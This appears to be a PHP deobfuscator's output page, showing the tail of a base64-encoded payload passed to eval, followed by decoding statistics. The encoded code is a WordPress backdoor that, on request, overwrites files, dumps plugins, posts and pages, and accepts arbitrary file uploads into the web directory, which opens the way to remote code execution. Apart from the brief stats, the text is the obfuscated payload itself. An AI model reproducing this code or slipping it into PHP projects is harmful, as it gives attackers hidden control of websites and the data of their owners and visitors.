sbF9hX2ZyaWVuZF9jb250ZW50KSkgew0KCQkJCXByaW50ICJGaWxlIHskX1JFUVVFU1RbJ2ZpbGUyY2xlYW4nXX0gaGFzIGJlZW4gY2xlYW5lZC4iOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJcHJpbnQgIkZhaWxlZCBjbGVhbmluZyB7JF9SRVFVRVNUWydmaWxlMmNsZWFuJ119ICEiOw0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfcGx1Z2lucyddKSAmJiAkX1JFUVVFU1RbJ2dldF9wbHVnaW5zJ10gPT0gMSkgew0KCWluY2x1ZGVfb25jZSgkZGlyX3VwIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3BsdWdpbi5waHAnKTsNCgkJDQoJJHBsdWdpbnMgPSBnZXRfcGx1Z2lucygpOw0KCXByaW50IGFycmF5X3RvX2pzb24oJHBsdWdpbnMpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydwb3N0X3VybDJzZWFyY2gnXSkpIHsNCgkkdGhlX3NsdWcgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkX1JFUVVFU1RbJ3Bvc3RfdXJsMnNlYXJjaCddKTsNCgkkYXJncyA9IGFycmF5KA0KCQknbmFtZScgPT4gJHRoZV9zbHVnLA0KCQkncG9zdF9zdGF0dXMnID0+ICdwdWJsaXNoJywNCgkJJ3Bvc3RzX3Blcl9wYWdlJyA9PiAxDQoJKTsNCgkkbXlfcG9zdHMgPSBnZXRfcG9zdHMoICRhcmdzICk7DQoNCglpZighZW1wdHkoJG15X3Bvc3RzWzBdLT5JRCkgJiYgaXNfbnVtZXJpYygkbXlfcG9zdHNbMF0tPklEKSkgew0KCQkkcG9zdCA9IGdldF9wb3N0KCRteV9wb3N0c1swXS0+SUQpOw0KCQkkcG9zdC0+Y2F0ZWdvcnkgPSBnZXRfdGhlX2NhdGVnb3J5KCRteV9wb3N0c1swXS0+SUQpOw0KCX0NCgkNCglwcmludCBhcnJheV90b19qc29uKCRwb3N0KTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsncG9zdF9pZCddKSkgew0KCSRwb3N0ID0gZ2V0X3Bvc3QoJF9SRVFVRVNUWydwb3N0X2lkJ10pOw0KCSRwb3N0LT5jYXRlZ29yeSA9IGdldF90aGVfY2F0ZWdvcnkoJF9SRVFVRVNUWydwb3N0X2lkJ10pOw0KCXByaW50IGFycmF5X3RvX2pzb24oJHBvc3QpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydwYWdlX2lkJ10pKSB7DQoJJHBvc3QgPSBnZXRfcGFnZSgkX1JFUVVFU1RbJ3BhZ2VfaWQnXSk7DQoJJHBvc3QtPmNhdGVnb3J5ID0gZ2V0X3RoZV9jYXRlZ29yeSgkX1JFUVVFU1RbJ3BhZ2VfaWQnXSk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkcG9zdCk7DQp9DQoNCiRhcmdzID0gYXJyYXkoDQoJJ3Nob3dfb3B0aW9uX2FsbCcgICAgPT4gJycsDQoJJ3Nob3dfb3B0aW9uX25vbmUnICAgPT4gJycsDQoJJ29yZGVyYnknICAgICAgICAgICAgPT4gJ0lEJywgDQoJJ29yZGVyJyAgICAgICAgICAgICAgPT4gJ0FTQycsDQoJJ3Nob3dfY291bnQnICAgICAgICAgPT4gMSwNCgknaGlkZV9lbXB0eScgICAgICAgICA9PiAwLCANCgknY2hpbGRfb2YnICAgICAgICAgICA9PiAwLA0KCSdleGNsdWRlJyAgICAgICAgICAgID0+ICcnLA0KCSdlY2hvJyAgICAgICAgICAgICAgID0+IDEsDQoJJ3NlbGVjdGVkJyAgICAgICAgICAgPT4gJHNlbF9jYXQsDQoJJ2hpZXJhcmNoaWNhbCcgICAgICAgPT4gMCwgDQoJJ25hbWUnICAgICAgICAgICAgICAgPT4gJ2NhdCcsDQoJJ2lkJyAgICAgICAgICAgICAgICAgPT4gJycsDQoJJ2NsYXNzJyAgICAgICAgICAgICAgPT4gJ3Bvc3Rmb3JtJywNCgknZGVwdGgnICAgICAgICAgICAgICA9PiAwLA0KCSd0YWJfaW5kZXgnICAgICAgICAgID0+IDAsDQoJJ3RheG9ub215JyAgICAgICAgICAgPT4gJ2NhdGVnb3J5JywNCgknaGlkZV9pZl9lbXB0eScgICAgICA9PiBmYWxzZSwNCiAgICAnd2Fsa2VyJyAgICAgICAgICAgICA9PiAnJw0KKTsNCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnZ2V0X2NhdGVnb3JpZXMnXSkgJiYgJF9SRVFVRVNUWydnZXRfY2F0ZWdvcmllcyddID09IDEpIHsNCglwcmludCBhcnJheV90b19qc29uKGdldF9jYXRlZ29yaWVzKCAkYXJncyApKTsgDQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9wYWdlc19saXN0J10pICYmICRfUkVRVUVTVFsnZ2V0X3BhZ2VzX2xpc3QnXSA9PSAxKSB7DQoJJHBhZ2VzX2FycmF5ID0gZ2V0X3BhZ2VzKCk7DQoJJG5ld19wYWdlc19hcnJheSA9IGFycmF5KCk7DQoJZm9yKCRpPTAsJGxlbj1jb3VudCgkcGFnZXNfYXJyYXkpOyRpPCRsZW47JGkrKykgew0KCQkkbmV3X3BhZ2VzX2FycmF5WyRpXVsnSUQnXSA9ICRwYWdlc19hcnJheVskaV0tPklEOw0KCQkkbmV3X3BhZ2VzX2FycmF5WyRpXVsncG9zdF90aXRsZSddID0gJHBhZ2VzX2FycmF5WyRpXS0+cG9zdF90aXRsZTsNCgkJJG5ld19wYWdlc19hcnJheVskaV1bJ3Bvc3RfbmFtZSddID0gJHBhZ2VzX2FycmF5WyRpXS0+cG9zdF9uYW1lOw0KCX0NCglwcmludCBhcnJheV90b19qc29uKCRuZXdfcGFnZXNfYXJyYXkpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfcG9zdHNfbGlzdCddKSkgew0KCWlmKGlzc2V0KCRfUkVRVUVTVFsnc2VhcmNoX2J5X3Bvc3RfdHlwZSddKSkgew0KCQkkcG9zdF90eXBlID0gJF9SRVFVRVNUWydzZWFyY2hfYnlfcG9zdF90eXBlJ107DQoJfQ0KCWVsc2Ugew0KCQkkcG9zdF90eXBlID0gJyc7DQoJfQ0KDQoJJGFyZ3MgPSBhcnJheSgNCgkncG9zdHNfcGVyX3BhZ2UnICAgPT4gNTAsDQoJJ29mZnNldCcgICAgICAgICAgID0+IDAsDQoJJ2NhdGVnb3J5JyAgICAgICAgID0+ICcnLA0KCSdjYXRlZ29yeV9uYW1lJyAgICA9PiAnJywNCgknb3JkZXJieScgICAgICAgICAgPT4gJ0lEJywNCgknb3JkZXInICAgICAgICAgICAgPT4gJ0RFU0MnLA0KCSdpbmNsdWRlJyAgICAgICAgICA9PiAnJywNCgknZXhjbHVkZScgICAgICAgICAgPT4gJycsDQoJJ21ldGFfa2V5JyAgICAgICAgID0+ICcnLA0KCSdtZXRhX3ZhbHVlJyAgICAgICA9PiAnJywNCgkncG9zdF90eXBlJyAgICAgICAgPT4gJHBvc3RfdHlwZSwNCgkncG9zdF9taW1lX3R5cGUnICAgPT4gJycsDQoJJ3Bvc3RfcGFyZW50JyAgICAgID0+ICcnLA0KCSdwb3N0X3N0YXR1cycgICAgICA9PiAncHVibGlzaCcsDQoJJ3N1cHByZXNzX2ZpbHRlcnMnID0+IHRydWUgKTsNCg0KCWlmKGlzc2V0KCRfUkVRVUVTVFsnc2VhcmNoX2J5X3VybCddKSkgew0KCQkkdGhlX3NsdWcgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkX1JFUVVFU1RbJ3NlYXJjaF9ieV91cmwnXSk7DQoJCWlmKCFlbXB0eSgkcG9zdF90eXBlKSAmJiAkcG9zdF90eXBlID09ICdwb3N0Jykgew0KCQkJJGFyZ3NbJ25hbWUnXSA9ICR0aGVfc2x1ZzsNCgkJfQ0KCQllbHNlIHsNCgkJCSRhcmdzWydwYWdlbmFtZSddID0gJHRoZV9zbHVnOw0KCQl9DQoJfQ0KCQ0KCWlmKGlzc2V0KCRfUkVRVUVTVFsnc2VhcmNoX2J5X2tleXdvcmQnXSkpIHsNCgkJJGFyZ3NbJ3MnXSA9ICRfUkVRVUVTVFsnc2VhcmNoX2J5X2tleXdvcmQnXTsNCgl9DQoJDQoJJHBvc3RzX2FycmF5ID0gZ2V0X3Bvc3RzKCAkYXJncyApOw0KCWZvcigkaT0wLCRsZW49Y291bnQoJHBvc3RzX2FycmF5KTskaTwkbGVuOyRpKyspIHsNCgkJJG5ld19wb3N0c19hcnJheVskaV1bJ0lEJ10gPSAkcG9zdHNfYXJyYXlbJGldLT5JRDsNCgkJJG5ld19wb3N0c19hcnJheVskaV1bJ3Bvc3RfdGl0bGUnXSA9ICRwb3N0c19hcnJheVskaV0tPnBvc3RfdGl0bGU7DQoJCSRuZXdfcG9zdHNfYXJyYXlbJGldWydwb3N0X25hbWUnXSA9ICRwb3N0c19hcnJheVskaV0tPnBvc3RfbmFtZTsNCgkJJG5ld19wb3N0c19hcnJheVskaV1bJ3Bvc3RfY29udGVudCddID0gJHBvc3RzX2FycmF5WyRpXS0+cG9zdF9jb250ZW50Ow0KCX0NCglwcmludCBhcnJheV90b19qc29uKCRuZXdfcG9zdHNfYXJyYXkpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1cGxvYWRfZmlsZSddKSkgew0KCXByaW50ICc8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJteV9maWxlIj48aW5wdXQgdHlwZT0ic3VibWl0Ij48L2Zvcm0+JzsNCn0NCg0KaWYoIWVtcHR5KCRfRklMRVNbJ215X2ZpbGUnXSkpIHsNCgkkYmFzZV9uYW1lID0gYmFzZW5hbWUoJF9GSUxFU1snbXlfZmlsZSddWyduYW1lJ10pOw0KCWlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydteV9maWxlJ11bJ3RtcF9uYW1lJ10sICRiYXNlX25hbWUpKSB7DQoJCXByaW50ICc8YSBocmVmPSInLiRiYXNlX25hbWUuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGJhc2VfbmFtZS4nPC9hPic7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfYXBpX3ZlcnNpb24nXSkpIHsNCglwcmludCBhcnJheV90b19qc29uKGFycmF5KCdhcGlfdmVyc2lvbicgPT4gbnVtYmVyX2Zvcm1hdChBUElfVkVSU0lPTiwgMikpKTsNCn0NCj8+")); ?>
<?php /*a,b,c,d,e,f,g,ha,b,c,d,e,f,g,ha,b,c,d,e,f,g,ha,b,c,d,e,f,g,ha,b,c,d,e,f,g,h*/ ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 0de4807a9bec8be1503634716adee0a3
Eval Count 1
Decode Time 121 ms